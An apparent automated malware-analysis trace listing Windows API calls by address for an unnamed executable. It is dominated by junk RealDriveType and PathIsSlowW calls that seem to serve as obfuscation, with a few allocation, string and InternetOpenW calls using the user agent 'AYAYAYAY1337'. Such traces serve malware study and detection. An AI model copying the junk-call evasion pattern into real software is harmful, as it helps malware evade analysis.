RealDriveType.SHELL32(01A37B71,00000000), ref: 0040BEC0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BEC4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BEC8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BECC
RealDriveType.SHELL32(4D27C524,00000000), ref: 0040BED4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BED8
RealDriveType.SHELL32(3F0C623D,00000000), ref: 0040BEE0
RealDriveType.SHELL32(1778D8BE,00000000), ref: 0040BEE8
RealDriveType.SHELL32(07F33BF2,00000000), ref: 0040BEF0
RealDriveType.SHELL32(1BA44992,00000000), ref: 0040BEF8
RealDriveType.SHELL32(F0FE89CF,00000000), ref: 0040BF00
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF04
RealDriveType.SHELL32(266323CB,00000000), ref: 0040BF0C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF10
RealDriveType.SHELL32(8C4F6975,00000000), ref: 0040BF18
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF1C
RealDriveType.SHELL32(5AE68BA7,00000000), ref: 0040BF24
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF28
RealDriveType.SHELL32(63F90AF4,00000000), ref: 0040BF30
RealDriveType.SHELL32(799F9DAB,00000000), ref: 0040BF38
RealDriveType.SHELL32(E6CFC710,00000000), ref: 0040BF40
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF44
RealDriveType.SHELL32(8B9F9230,00000000), ref: 0040BF4C
RealDriveType.SHELL32(C9CFED8E,00000000), ref: 0040BF54
RealDriveType.SHELL32(1AAFA40B,00000000), ref: 0040BF5C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF60
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF64
RealDriveType.SHELL32(CD8C7AD4,00000000), ref: 0040BF6C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF70
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF74
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF78
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF7C
RealDriveType.SHELL32(5F04B7C2,00000000), ref: 0040BF84
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF88
RealDriveType.SHELL32(321B7CD0,00000000), ref: 0040BF90
RealDriveType.SHELL32(99D1E406,00000000), ref: 0040BF98
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BF9C
RealDriveType.SHELL32(D114A912,00000000), ref: 0040BFA4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BFA8
RealDriveType.SHELL32(C0EB4EF9,00000000), ref: 0040BFB0
RealDriveType.SHELL32(CDA5F033,00000000), ref: 0040BFB8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BFBC
RealDriveType.SHELL32(462B1F4D,00000000), ref: 0040BFC4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BFC8
RealDriveType.SHELL32(3F09F681,00000000), ref: 0040BFD0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BFD4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BFD8
RealDriveType.SHELL32(9F24D395,00000000), ref: 0040BFE0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BFE4
RealDriveType.SHELL32(845D7A9B,00000000), ref: 0040BFEC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BFF0
LocalAlloc.KERNEL32(00000040,00000800), ref: 0040BFF9
RealDriveType.SHELL32(91A602A2,00000000), ref: 0040C00B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C011
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C017
RealDriveType.SHELL32(04B1A7DE,00000000), ref: 0040C020
RealDriveType.SHELL32(F569DE61,00000000), ref: 0040C029
RealDriveType.SHELL32(9749C8E0,00000000), ref: 0040C032
RealDriveType.SHELL32(2907F936,00000000), ref: 0040C03B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C041
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C047
RealDriveType.SHELL32(EB43E7B5,00000000), ref: 0040C050
RealDriveType.SHELL32(4A5EA93F,00000000), ref: 0040C059
RealDriveType.SHELL32(DF934942,00000000), ref: 0040C062
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C068
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C06E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C074
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C07A
RealDriveType.SHELL32(C2371BD6,00000000), ref: 0040C083
RealDriveType.SHELL32(81ECA418,00000000), ref: 0040C08C
RealDriveType.SHELL32(AC71ADC9,00000000), ref: 0040C095
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C09B
RealDriveType.SHELL32(9A0162F4,00000000), ref: 0040C0A4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C0AA
RealDriveType.SHELL32(05D0E3D8,00000000), ref: 0040C0B3
RealDriveType.SHELL32(0D0692B8,00000000), ref: 0040C0BC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C0C2
RealDriveType.SHELL32(C831ACE2,00000000), ref: 0040C0CB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C0D1
RealDriveType.SHELL32(38E05C56,00000000), ref: 0040C0DA
RealDriveType.SHELL32(BD622DE4,00000000), ref: 0040C0E3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C0E9
RealDriveType.SHELL32(B4DC3142,00000000), ref: 0040C0F2
RealDriveType.SHELL32(39A34082,00000000), ref: 0040C0FB
RealDriveType.SHELL32(32600FE2,00000000), ref: 0040C104
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C10A
RealDriveType.SHELL32(5A77876F,00000000), ref: 0040C113
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C119
RealDriveType.SHELL32(424203C0,00000000), ref: 0040C12C
RealDriveType.SHELL32(7AC79B5F,00000000), ref: 0040C139
RealDriveType.SHELL32(2E63E806,00000000), ref: 0040C146
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C150
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C156
RealDriveType.SHELL32(3DE46B47,00000000), ref: 0040C15F
RealDriveType.SHELL32(248CCD56,00000000), ref: 0040C16C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C176
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C17C
RealDriveType.SHELL32(7C19F13D,00000000), ref: 0040C185
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C18F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C195
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C19B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C1A1
RealDriveType.SHELL32(734D2967,00000000), ref: 0040C1AA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C1B4
RealDriveType.SHELL32(82269A0F,00000000), ref: 0040C1BD
RealDriveType.SHELL32(49B6D348,00000000), ref: 0040C1CA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C1D4
RealDriveType.SHELL32(9DCA874F,00000000), ref: 0040C1DD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C1E7
RealDriveType.SHELL32(9B37E7D3,00000000), ref: 0040C1F0
RealDriveType.SHELL32(B16FA63A,00000000), ref: 0040C1FD
RealDriveType.SHELL32(11B0423D,00000000), ref: 0040C20A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C214
RealDriveType.SHELL32(CDA7C353,00000000), ref: 0040C21D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C227
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C22D
RealDriveType.SHELL32(FF662099,00000000), ref: 0040C236
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C240
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C246
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C24C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C252
RealDriveType.SHELL32(26E54F3D,00000000), ref: 0040C25F
RealDriveType.SHELL32(A8792C38,00000000), ref: 0040C26C
RealDriveType.SHELL32(87F498A0,00000000), ref: 0040C279

Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A795
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A79B
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A7A1
Part of subcall function 0041A6A3: RealDriveType.SHELL32(AE31F365,00000000), ref: 0041A7AA
Part of subcall function 0041A6A3: RealDriveType.SHELL32(EB59011E,00000000), ref: 0041A7B3
Part of subcall function 0041A6A3: lstrlenA.KERNEL32(e2e6bd5da536d7ebd64fba220f16e00c), ref: 0041A7B6
Part of subcall function 0041A6A3: RealDriveType.SHELL32(AF943800,00000000), ref: 0041A7C5
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A7CF
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A7D5
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A7DB
Part of subcall function 0041A6A3: RealDriveType.SHELL32(BC1ADD7B,00000000), ref: 0041A7E4
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A7EE
Part of subcall function 0041A6A3: RealDriveType.SHELL32(247EBD4C,00000000), ref: 0041A7F7
Part of subcall function 0041A6A3: RealDriveType.SHELL32(69DA7019,00000000), ref: 0041A804
Part of subcall function 0041A6A3: RealDriveType.SHELL32(AE14985E,00000000), ref: 0041A811
Part of subcall function 0041A6A3: RealDriveType.SHELL32(FB2A5F1A,00000000), ref: 0041A81E
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A828
Part of subcall function 0041A6A3: RealDriveType.SHELL32(464C7D81,00000000), ref: 0041A831
Part of subcall function 0041A6A3: RealDriveType.SHELL32(B5BB8658,00000000), ref: 0041A83E
Part of subcall function 0041A6A3: RealDriveType.SHELL32(3C755917,00000000), ref: 0041A84B
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A855
Part of subcall function 0041A6A3: RealDriveType.SHELL32(DE669A88,00000000), ref: 0041A85E
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A868
Part of subcall function 0041A6A3: RealDriveType.SHELL32(45F1D8AD,00000000), ref: 0041A871
Part of subcall function 0041A6A3: RealDriveType.SHELL32(6CB6B427,00000000), ref: 0041A87E
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A888
Part of subcall function 0041A6A3: RealDriveType.SHELL32(7A3BB2FF,00000000), ref: 0041A891
Part of subcall function 0041A6A3: RealDriveType.SHELL32(916C9D90,00000000), ref: 0041A89E
Part of subcall function 0041A6A3: RealDriveType.SHELL32(30391D21,00000000), ref: 0041A8AB
Part of subcall function 0041A6A3: RealDriveType.SHELL32(2A4156A2,00000000), ref: 0041A8B8
Part of subcall function 0041A6A3: RealDriveType.SHELL32(DDE36A8B,00000000), ref: 0041A8C5
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A8CF
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A8D5

RealDriveType.SHELL32(0945D588,00000000), ref: 0040C294
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C29E
RealDriveType.SHELL32(C65A2C83,00000000), ref: 0040C2AB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C2B5
RealDriveType.SHELL32(FE703D4C,00000000), ref: 0040C2C2
RealDriveType.SHELL32(D5F5ED9D,00000000), ref: 0040C2CF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C2D9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C2E3
RealDriveType.SHELL32(B1D8BFDC,00000000), ref: 0040C2F0
RealDriveType.SHELL32(40C85FC3,00000000), ref: 0040C2FD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C307
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C311
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C31B
RealDriveType.SHELL32(DDACE283,00000000), ref: 0040C328
RealDriveType.SHELL32(43EFA4EC,00000000), ref: 0040C335
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C33F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C349
RealDriveType.SHELL32(1FF32472,00000000), ref: 0040C356
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C360
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C36A
RealDriveType.SHELL32(3603A17A,00000000), ref: 0040C377
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C381
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C38B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C395
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C39F
RealDriveType.SHELL32(930D510E,00000000), ref: 0040C3AC
RealDriveType.SHELL32(6C8C6AA3,00000000), ref: 0040C3B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C3C3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C3CD
RealDriveType.SHELL32(B49404C0,00000000), ref: 0040C3DA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C3E4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C3EE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C3F8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C402
RealDriveType.SHELL32(5B9827DE,00000000), ref: 0040C40F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C419
lstrlenW.KERNEL32(00000000), ref: 0040C420
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C436
RealDriveType.SHELL32(8861BB56,00000000), ref: 0040C443
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C44D
RealDriveType.SHELL32(0194C37C,00000000), ref: 0040C45A
RealDriveType.SHELL32(FC344E45,00000000), ref: 0040C467
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C471
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C47B
RealDriveType.SHELL32(204244A6,00000000), ref: 0040C488
RealDriveType.SHELL32(81B9E305,00000000), ref: 0040C495
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C49F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C4A9
RealDriveType.SHELL32(C4076AB0,00000000), ref: 0040C4B6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C4C0
RealDriveType.SHELL32(82891571,00000000), ref: 0040C4CD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C4D7
RealDriveType.SHELL32(251E6BF0,00000000), ref: 0040C4E4
RealDriveType.SHELL32(F1708C88,00000000), ref: 0040C4F1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C4FB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C505
RealDriveType.SHELL32(3BD4D8C5,00000000), ref: 0040C512
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C51C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C526
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C530
RealDriveType.SHELL32(4B3C5603,00000000), ref: 0040C53D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C547
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C551
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C55B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C565
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C56F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C579
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C583
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C58D
RealDriveType.SHELL32(600F06A7,00000000), ref: 0040C59A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C5A4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C5AE
RealDriveType.SHELL32(6AB3ECC5,00000000), ref: 0040C5BB

Part of subcall function 0041AD76: RealDriveType.SHELL32(6459A2D3,00000000), ref: 0041B394
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B39A
Part of subcall function 0041AD76: RealDriveType.SHELL32(FF4BA676,00000000), ref: 0041B3A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3A9
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3AF
Part of subcall function 0041AD76: RealDriveType.SHELL32(D97D5CDF,00000000), ref: 0041B3B8
Part of subcall function 0041AD76: RealDriveType.SHELL32(709B99DB,00000000), ref: 0041B3C1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3C7
Part of subcall function 0041AD76: RealDriveType.SHELL32(AC38C7DA,00000000), ref: 0041B3D0
Part of subcall function 0041AD76: RealDriveType.SHELL32(01624B42,00000000), ref: 0041B3D9
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3DF
Part of subcall function 0041AD76: RealDriveType.SHELL32(2027B2EF,00000000), ref: 0041B3E8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3EE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3F4
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3FA
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B400
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B406
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B40C
Part of subcall function 0041AD76: RealDriveType.SHELL32(26293B1F,00000000), ref: 0041B415
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B41B
Part of subcall function 0041AD76: RealDriveType.SHELL32(28C398C5,00000000), ref: 0041B424
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD324B5E,00000000), ref: 0041B42D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B433
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B439
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B43F
Part of subcall function 0041AD76: RealDriveType.SHELL32(BD15EE40,00000000), ref: 0041B448

PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C5D7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C5E1
RealDriveType.SHELL32(D55E0F0D,00000000), ref: 0040C5EE
RealDriveType.SHELL32(18C22E7E,00000000), ref: 0040C5FB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C605
RealDriveType.SHELL32(82EE6553,00000000), ref: 0040C612
RealDriveType.SHELL32(08724FBF,00000000), ref: 0040C61F
RealDriveType.SHELL32(03E941BB,00000000), ref: 0040C62C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C636
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C640
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C64A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C654
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C65E
RealDriveType.SHELL32(04BDCE04,00000000), ref: 0040C66B
RealDriveType.SHELL32(DFC81990,00000000), ref: 0040C678
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C682
RealDriveType.SHELL32(3B27FF4A,00000000), ref: 0040C68F
RealDriveType.SHELL32(C361DCC7,00000000), ref: 0040C69C
RealDriveType.SHELL32(F86F32B2,00000000), ref: 0040C6A9
RealDriveType.SHELL32(5397FB46,00000000), ref: 0040C6B6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C6C0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C6CA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C6D4
RealDriveType.SHELL32(6FF376FF,00000000), ref: 0040C6E1
RealDriveType.SHELL32(40292012,00000000), ref: 0040C6EE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C6F8
RealDriveType.SHELL32(F50E5A8A,00000000), ref: 0040C705
RealDriveType.SHELL32(D4D85FC2,00000000), ref: 0040C712
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C71C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C726
RealDriveType.SHELL32(A307A511,00000000), ref: 0040C733
RealDriveType.SHELL32(DC37129C,00000000), ref: 0040C740
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C74A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C754
RealDriveType.SHELL32(52495500,00000000), ref: 0040C761
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C76B
RealDriveType.SHELL32(28583775,00000000), ref: 0040C778
RealDriveType.SHELL32(A37B5FC3,00000000), ref: 0040C785
RealDriveType.SHELL32(FDCB6D3F,00000000), ref: 0040C792
RealDriveType.SHELL32(F5748422,00000000), ref: 0040C79F
RealDriveType.SHELL32(906AC36C,00000000), ref: 0040C7AC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C7B6
RealDriveType.SHELL32(4E31B23C,00000000), ref: 0040C7C3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C7CD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C7D7
RealDriveType.SHELL32(7F2C860C,00000000), ref: 0040C7E4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C7EE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C7F8
RealDriveType.SHELL32(8D20F8B5,00000000), ref: 0040C805
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C80F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C819
RealDriveType.SHELL32(AAA4BE1F,00000000), ref: 0040C826
RealDriveType.SHELL32(51ECD027,00000000), ref: 0040C833
RealDriveType.SHELL32(58F65A9D,00000000), ref: 0040C840
RealDriveType.SHELL32(04053700,00000000), ref: 0040C84D
RealDriveType.SHELL32(515887F6,00000000), ref: 0040C85A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C864
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C86E
RealDriveType.SHELL32(9CED4CB4,00000000), ref: 0040C87B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C885
RealDriveType.SHELL32(B0047F40,00000000), ref: 0040C892
RealDriveType.SHELL32(BD0DFDC9,00000000), ref: 0040C89F
RealDriveType.SHELL32(52D764E0,00000000), ref: 0040C8AC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C8B6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C8C0
RealDriveType.SHELL32(3BCECC5B,00000000), ref: 0040C8CD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C8D7
RealDriveType.SHELL32(4AE1A196,00000000), ref: 0040C8E4
RealDriveType.SHELL32(689AC30A,00000000), ref: 0040C8F1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C8FB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C905
RealDriveType.SHELL32(3292D921,00000000), ref: 0040C912

Part of subcall function 00413181: LocalAlloc.KERNELBASE(00000040,0000C350,00000000,00000000,00000000,0040C92C,?,?,?), ref: 00413197
Part of subcall function 00413181: LocalAlloc.KERNEL32(00000040,00000208), ref: 004131A6
Part of subcall function 00413181: StrStrW.SHLWAPI(00000000), ref: 004131EB
Part of subcall function 00413181: lstrlenW.KERNEL32(00000000), ref: 0041321D
Part of subcall function 00413181: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,0000002F,000000FF,00000000,00000000,00000000,00000000), ref: 0041323A
Part of subcall function 00413181: LocalAlloc.KERNEL32(00000040,00000040), ref: 00413248
Part of subcall function 00413181: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,0000002F,000000FF,00000000,00000000,00000000,00000000), ref: 00413264
Part of subcall function 00413181: InternetOpenW.WININET(AYAYAYAY1337,00000000,00000000,00000000,00000000), ref: 0041327B

RealDriveType.SHELL32(133F760D,00000000), ref: 0040C938
RealDriveType.SHELL32(28D2AF52,00000000), ref: 0040C945
RealDriveType.SHELL32(1D588D3F,00000000), ref: 0040C952
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C95C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C966
RealDriveType.SHELL32(59EC8195,00000000), ref: 0040C973
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C97D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C987
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C991
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C99B
RealDriveType.SHELL32(43DF8902,00000000), ref: 0040C9A8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C9B2
RealDriveType.SHELL32(311571CC,00000000), ref: 0040C9BF
RealDriveType.SHELL32(72004F83,00000000), ref: 0040C9CC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C9D6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040C9E0
RealDriveType.SHELL32(228EC20B,00000000), ref: 0040C9ED
RealDriveType.SHELL32(BE7428C2,00000000), ref: 0040C9FA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CA04
RealDriveType.SHELL32(632B98A0,00000000), ref: 0040CA11
RealDriveType.SHELL32(5FEB2855,00000000), ref: 0040CA1E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CA28
RealDriveType.SHELL32(23DC21B0,00000000), ref: 0040CA35
RealDriveType.SHELL32(C7C39F4F,00000000), ref: 0040CA42
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CA4C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CA56
RealDriveType.SHELL32(426C8A62,00000000), ref: 0040CA63
RealDriveType.SHELL32(462BEBB1,00000000), ref: 0040CA70
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CA7A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CA84
RealDriveType.SHELL32(D0D19AED,00000000), ref: 0040CA91
RealDriveType.SHELL32(FC2BCDDB,00000000), ref: 0040CA9E
RealDriveType.SHELL32(EC301D54,00000000), ref: 0040CAAB
RealDriveType.SHELL32(DAAA69FE,00000000), ref: 0040CAB8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CAC2
RealDriveType.SHELL32(B947B3B4,00000000), ref: 0040CACF
lstrlenW.KERNEL32(00000000), ref: 0040CAD6
RealDriveType.SHELL32(F0C03E2D,00000000), ref: 0040CAEC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CAF6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CB00
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CB0A
RealDriveType.SHELL32(99750B5B,00000000), ref: 0040CB17
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CB21
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CB2B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CB35
RealDriveType.SHELL32(46E2553B,00000000), ref: 0040CB42
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CB4C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CB56
RealDriveType.SHELL32(2E3D1B59,00000000), ref: 0040CB63
RealDriveType.SHELL32(4CF8C8C2,00000000), ref: 0040CB70
RealDriveType.SHELL32(CDFF9B88,00000000), ref: 0040CB7D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CB87
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CB91
RealDriveType.SHELL32(8F6B79C2,00000000), ref: 0040CB9E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CBA8
RealDriveType.SHELL32(47F34D42,00000000), ref: 0040CBB5
RealDriveType.SHELL32(01920357,00000000), ref: 0040CBC2
RealDriveType.SHELL32(F50781EB,00000000), ref: 0040CBCF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CBD9
RealDriveType.SHELL32(4093F25E,00000000), ref: 0040CBE6
RealDriveType.SHELL32(D87D9283,00000000), ref: 0040CBF3
RealDriveType.SHELL32(EBEB6247,00000000), ref: 0040CC00
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CC0A
RealDriveType.SHELL32(1775BDA7,00000000), ref: 0040CC17
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CC21
RealDriveType.SHELL32(1E8BEBAE,00000000), ref: 0040CC2E
RealDriveType.SHELL32(522E22A0,00000000), ref: 0040CC3B
RealDriveType.SHELL32(165E39FC,00000000), ref: 0040CC48
RealDriveType.SHELL32(2201DAA0,00000000), ref: 0040CC55
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CC5F
RealDriveType.SHELL32(ECA8B228,00000000), ref: 0040CC6C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CC76
RealDriveType.SHELL32(858D6E18,00000000), ref: 0040CC83
LocalFree.KERNEL32(00000000), ref: 0040CC8A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CC94
RealDriveType.SHELL32(3FD682B0,00000000), ref: 0040CCA1
RealDriveType.SHELL32(D675C5B7,00000000), ref: 0040CCAE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CCB8
RealDriveType.SHELL32(7B1C796B,00000000), ref: 0040CCC5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CCCF
